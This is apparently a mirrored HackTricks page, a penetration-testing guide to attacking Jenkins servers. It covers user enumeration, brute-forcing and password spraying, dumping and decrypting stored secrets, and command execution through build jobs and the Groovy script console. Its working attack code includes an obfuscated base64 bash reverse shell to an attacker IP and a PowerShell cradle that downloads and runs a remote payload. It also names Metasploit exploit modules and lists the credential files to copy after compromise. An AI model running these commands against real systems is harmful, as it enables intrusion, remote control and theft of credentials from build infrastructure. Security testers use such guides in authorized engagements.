mirror of
https://github.com/carlospolop/hacktricks
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224 lines
11 KiB
Markdown
224 lines
11 KiB
Markdown
# Jenkins
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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<img src="../.gitbook/assets/image (307).png" alt="" data-size="original">
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Through Security Skills as a Service, we help organizations to **defend against the Dark Hacking Arts**. Security Skills as a Service is an offensive cybersecurity consultancy model that combines an Intelligent Platform with the top-class, globally distributed, offensive security engineers, delivering **high-quality penetration testing results. Security Hubs** bring together offensive penetration testing tactics with human behavioral science, providing real-time insights into threat actors' tradecraft and a **complete assessment of any risks**.
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{% embed url="https://securityhubs.io/" %}
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## Basic Information
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Jenkins offers a simple way to set up a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **languages** and source code repositories using pipelines, as well as automating other routine development tasks. While Jenkins doesn’t eliminate the **need to create scripts for individual steps**, it does give you a faster and more robust way to integrate your entire chain of build, test, and deployment tools than you can easily build yourself.\
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Definition from [here](https://www.infoworld.com/article/3239666/what-is-jenkins-the-ci-server-explained.html).
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## Unauthenticated Enumeration
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In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use:
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```
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msf> use auxiliary/scanner/http/jenkins_enum
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```
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Check if you can execute commands without needing authentication:
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```
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msf> use auxiliary/scanner/http/jenkins_command
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```
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Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**.
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You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_
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.png>)
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## Login
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You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.**\
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Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
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### Bruteforce
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**Jekins** does **not** implement any **password policy** or username **brute-force mitigation**. Then, you **should** always try to **brute-force** users because probably **weak passwords** are being used (even **usernames as passwords** or **reverse** usernames as passwords).
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```
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msf> use auxiliary/scanner/http/jenkins_login
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```
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## Jenkins Abuses
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### Known Vulnerabilities
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{% embed url="https://github.com/gquere/pwn_jenkins" %}
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### Dumping builds to find cleartext secrets
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Use [this script](https://github.com/gquere/pwn\_jenkins/blob/master/dump\_builds/jenkins\_dump\_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.
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### Password spraying
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Use [this python script](https://github.com/gquere/pwn\_jenkins/blob/master/password\_spraying/jenkins\_password\_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
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### Decrypt Jenkins secrets offline
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Use [this script](https://github.com/gquere/pwn\_jenkins/blob/master/offline\_decryption/jenkins\_offline\_decrypt.py) to decrypt previsously dumped secrets.
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### Decrypt Jenkins secrets from Groovy
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```
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println(hudson.util.Secret.decrypt("{...}"))
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```
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<img src="../.gitbook/assets/image (307).png" alt="" data-size="original">
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Through Security Skills as a Service, we help organizations to **defend against the Dark Hacking Arts**. Security Skills as a Service is an offensive cybersecurity consultancy model that combines an Intelligent Platform with the top-class, globally distributed, offensive security engineers, delivering **high-quality penetration testing results. Security Hubs** bring together offensive penetration testing tactics with human behavioral science, providing real-time insights into threat actors' tradecraft and a **complete assessment of any risks**.
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{% embed url="https://securityhubs.io/" %}
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## Code Execution
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### **Create a new project**
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This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project).
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1. Create a new project (Freestyle project)
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2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._
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3. Click **Build now**
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Go to the projects and check **if you can configure any** of them (look for the "Configure button"):
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 (1).png>)
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Or **try to access to the path \_/configure**\_ in each project (example: /_me/my-views/view/all/job/Project0/configure_).
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If you are allowed to configure the project you can **make it execute commands when a build is successful**:
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 (1).png>)
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Click on **Save** and **build** the project and your **command will be executed**.\
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If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**.
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### **Execute Groovy script**
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Best way. Less noisy.
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1. Go to _path\_jenkins/script_
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2. Inside the text box introduce the script
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```python
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def process = "PowerShell.exe <WHATEVER>".execute()
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println "Found text ${process.text}"
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```
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You could execute a command using: `cmd.exe /c dir`
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In **linux** you can do: **`"ls /".execute().text`**
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If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload.
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**Another useful groovy script** is (replace \[INSERT COMMAND]):
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```python
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def sout = new StringBuffer(), serr = new StringBuffer()
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def proc = '[INSERT COMMAND]'.execute()
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proc.consumeProcessOutput(sout, serr)
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proc.waitForOrKill(1000)
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println "out> $sout err> $serr"
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```
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### Reverse shell in linux
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```python
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def sout = new StringBuffer(), serr = new StringBuffer()
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def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
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proc.consumeProcessOutput(sout, serr)
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proc.waitForOrKill(1000)
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println "out> $sout err> $serr"
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```
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### Reverse shell in windows
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You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it:
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```python
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scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
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echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
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cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>
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```
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### MSF exploit
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You can use MSF to get a reverse shell:
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```
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msf> use exploit/multi/http/jenkins_script_console
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```
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## POST
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### Metasploit
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```
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msf> post/multi/gather/jenkins_gather
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```
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### Files to copy after compromission
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These files are needed to decrypt Jenkins secrets:
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* secrets/master.key
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* secrets/hudson.util.Secret
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Such secrets can usually be found in:
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* credentials.xml
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* jobs/.../build.xml
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Here's a regexp to find them:
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```
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grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
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```
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## References
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* [https://github.com/gquere/pwn\_jenkins](https://github.com/gquere/pwn\_jenkins)
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* [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)
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* [https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password](https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password)
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<img src="../.gitbook/assets/image (307).png" alt="" data-size="original">
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Through Security Skills as a Service, we help organizations to **defend against the Dark Hacking Arts**. Security Skills as a Service is an offensive cybersecurity consultancy model that combines an Intelligent Platform with the top-class, globally distributed, offensive security engineers, delivering **high-quality penetration testing results. Security Hubs** bring together offensive penetration testing tactics with human behavioral science, providing real-time insights into threat actors' tradecraft and a **complete assessment of any risks**.
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{% embed url="https://securityhubs.io/" %}
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
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|
||
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
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|
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- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
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- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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